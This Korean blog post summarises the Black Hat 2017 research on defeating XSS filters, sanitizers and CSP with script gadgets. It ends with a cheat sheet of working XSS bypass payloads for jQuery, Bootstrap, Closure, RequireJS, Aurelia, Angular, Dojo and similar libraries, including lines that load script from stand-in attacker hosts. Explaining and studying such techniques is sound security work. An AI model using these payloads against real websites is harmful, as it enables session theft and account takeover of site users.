최근 Blackhat2017 USA에서 “Breaking XSS mitigations via Script Gadgets” 라는 제목으로 XSS 관련 발표가 있었습니다. XSS 우회패턴 만들때 도움될 수 있는 부분이니 정리해서 포스팅 작성합니다.
앞서 발표자료에 이런말이 있습니다.
Fixing XSS is hard. Let’s instead focus on mitigating the attack.
아무리 열심히 대응해도 다시 분석하면 또 나오고.. 물론 보안 전체적으로도 유효한 말이지만, XSS에서 보니 더욱 다가오네요. 오늘은 Script Gadget을 이용한 XSS Bypass 기법에 대한 이야기를 하려합니다.
XSS Filter rule
대체로 Application단에서의 XSS 대응은 개발자가 직접하거나, XSS 관련 프레임워크로 막습니다. 이외에도 브라우저, 라이브러리 등등 끌어오는 코드에서도 XSS에 대한 대응 로직은 존재합니다.
다만 WAF, XSS Filter 들은 다들 다른 규칙을 가지고 있지만 어느정도 공통적인 부분들이 존재합니다.
단순하게 보면 정상적인 태그와 핸들러, 즉 공격에 사용될 가능성이 낮은 것들은 허용하고 공격에 자주쓰이는 것들은 필터링합니다.
필터링되지 않는 것들
<br>
<a>
<p>
width=
height=
필터링되는 것들
<script>
<iframe>
onerror=
onmouserover=
onfocus=
이런 필터들은 XXN 기법처럼 정규식을 풀어서 넘어갈수도 있고 이전에 소개해드렸던 방법()처럼 태그와 핸들러, 구문에 대한 인지가 어렵도록 하는 방법들이 있습니다. 무수히 많죠. Script gadget을 이용한 방법 또한 위에 방법들과 유사한 우회기법입니다.
MSDN에서의 가이드라인
Javascript Selector
Javascript Selector는 JS에서 Element를 찾는 것을 의미합니다. 의미를 알고 계셨을수도 있고 몰랐을수도 있지만 JS를 다루다보면 이미 쓰고있는 모습을 발견하실거라 생각이 드네요. 그만큼 아주 편리하고 현재 많은 코드들에 사용되고 있다는 소리입니다.
별다른거 없습니다. 우리가 HTML내 Element를 찾기 위해서 무엇을 사용하나요?
getElementById()
이런 계열의 함수를 많이 사용합니다. 바로 이 친구들이 Selector입니다. 몇가지 케이스를 더 볼까요?
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<hahwul id='hwul' class='class12' data-foo="bar"></hahwul>
<script>
t1 = document.querySelectorAll("hahwul"); // tag 이름
t2 = document.querySelectorAll("#hwul"); // tag id
t3 = document.querySelectorAll(".class12"); // class 이름
t4 = document.querySelectorAll("[data-foo]"); // attribute name
t5 = document.querySelectorAll("[data-foo^=bar]"); // attribute value
t6 = document.getElementById("#hwul");
t7 = $("hwul"); // jquery selector
console.log(t1);
console.log(t2);
console.log(t3);
console.log(t4);
console.log(t5);
console.log(t6);
console.log(t7);
</script>
Frameworks(jquery 예시)에선 이런식으로 표현되죠. (위에서 t7)
$('<jquery selector>').append('hahwul');
Bootstrap에선
<div data-toggle='asd' title='iamtitle'></div>
이런것들이 Selector입니다.
What is script gadgets?
script gadget은 HTML Injection을 통해 공식적으로 실행이 가능한 Javascript 코드를 의미합니다. 즉 XSS 같이 의도하지 않은 코드가 아닌 정상적으로 코드로 보는 Javascript 이죠.
그렇기 때문에 Framework나 브라우저 등 여러 Filter/Mitigation를 넘어 공격코드가 동작할 수 있게 해주죠.
이런 가젯은 대표적으로.. 이런것들이 있습니다.
document.querySelector()
document.getElementById()
eval()
document.createElement()
callback.apply()
function()
익숙하시죠? 방금봤던 Selector에요. 이를 이용한 코드들을 Script Gadget입니다 :)
Bypass XSS Filter and Mitigation
자 이제 Script Gadget을 통해 XSS Filter에 대해 우회하는 방법에 대해 이야기하죠. 먼저 아래 코드를 봅시다.
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<div data-role="button" data-text="www.hahwul.com"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(buttons[0].getAttribute("data-text"));
</script>
과연 이 코드는 실행되면 어떤일이 일어날까요?
)
별다른거 없습니다. data-role이 button인 div 태그 내 html 영역으로 data-text의 값이 쓰여집니다.
<div data-role="button" … >www.hahwul.com</div>
눈치빠르면 벌써 감이왔을텐데요. 다른 XSS 우회 기법들과 유사합니다. data-text에 우린 공격코드를 넣어주면되죠.
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<div data-role="button" data-text="<script>alert(45)</script>"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(buttons[0].getAttribute("data-text"));
</script>
오호!
약간 비꼬아서 HTML Char로 던져도..
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<div data-role="button" data-text="<script>alert(45)</script>"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(buttons[0].getAttribute("data-text"));
</script>
이런식으로 풀려서 잘 노출됩니다. Script gadget을 이용해서도 XSS가 가능합니다.
<div data-role="button" … ><script>alert(45)</script></div>
이 자체로만으로도 어느정도 사용할 수 있겠지만 재미있는점은 여기있습니다.
바로 여러 Framework, Library에서 Selector, Script Gadget을 많이 사용한다는거죠. 이미 script 코드는 들어가 있기 때문에 우린 data-text 같은 영역을 잘 활용해서 코드만 넣어주면 트리거 시킬 수 있습니다.
하나 예를들면..
HTML sanitizers에선 title 속성에 대한 값은 안전하다고 판단하여 별도로 필터링하지 않습니다. 다만 Bootstrap에는 Script Gadget 중 하나는 title 값을 로드하여 innerHTML 영역으로 넘기기 때문에 XSS 공격에 사용될 수 있죠.
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>
Bypass XSS Cheat sheet(+script gadgets)
각 Framework, Library에서 사용하는 script gadget과 이를 이용한 공격 case 입니다.
Jquery
<form class="child">
<input name="ownerDocument"/><script>alert(45);</script></form>
Jquery Mobile
<div data-role=popup id='--><script>"use strict"
alert(45)</script>'></div>
Bypassing sanitizers via jQuery Mobile
<div data-role=popup id='--><script>alert(45)</script>'></div>
Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'>
Bypassing CSP strict-dynamic via Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(45)</script>'></div>
Google Closure
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(45)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>
Bypassing NoScript via Closure (DOM clobbering)
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
RequireJS
<script data-main='data:1,alert(45)' src='require.js'></script>
Enber
<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />
<script type=text/x-handlebars>
<script src=//attacker.example.com// />
</script>
Ajaxify
<div class="document-script">alert(45)</div>
Aurelia
<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(45)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>
Expressions parsersf
<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(45)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>
<template is=dom-bind><div
c={{alert('1',ownerDocument.defaultView)}}
b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(45)">
<script id="template" type="text/ractive">
<iframe srcdoc="
<script nonce={{@global.document.currentScript.nonce}}>
alert(1337)
</{{}}script>">
</iframe>
</script>
ModSecurity CRS via Dojo Toolkit
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(45)-{">
CSP unsafe-eval via underscore templates
<div type=underscore/template> <% alert(45) %> </div>
Conclusion
어떻게 보면 알려진 방법일수도 있고 새로운 방법일수도 있습니다. 다만 중요한건 이전에 angularjs sandbox escape 포스팅에서도 이야기드렸듯이(이야기안했나..?) 방법으로 인한 여러 우회 케이스가 발견될 수 있다는 겁니다.
※ http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html
분명히 위에있는 Framework, Library 뿐만 아니라 다른 곳에서도 발견될 수 있고 직접 적용한 Filtering에도 적용될 수 있기 때문에 이런 기법에 대한 내용은 중요하다고 생각이 드네요.
Reference
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf https://msdn.microsoft.com/en-us/library/hh567599(v=cs.95).aspx https://developers.google.com/gadgets/docs/fundamentals?hl=ko https://www.youtube.com/watch?v=p07acPBi-qw https://www.w3schools.com/jquery/jquery_ref_selectors.asp http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html http://www.hahwul.com/2016/01/web-hacking-xxn-attackx-xss-nightmare-r.html http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html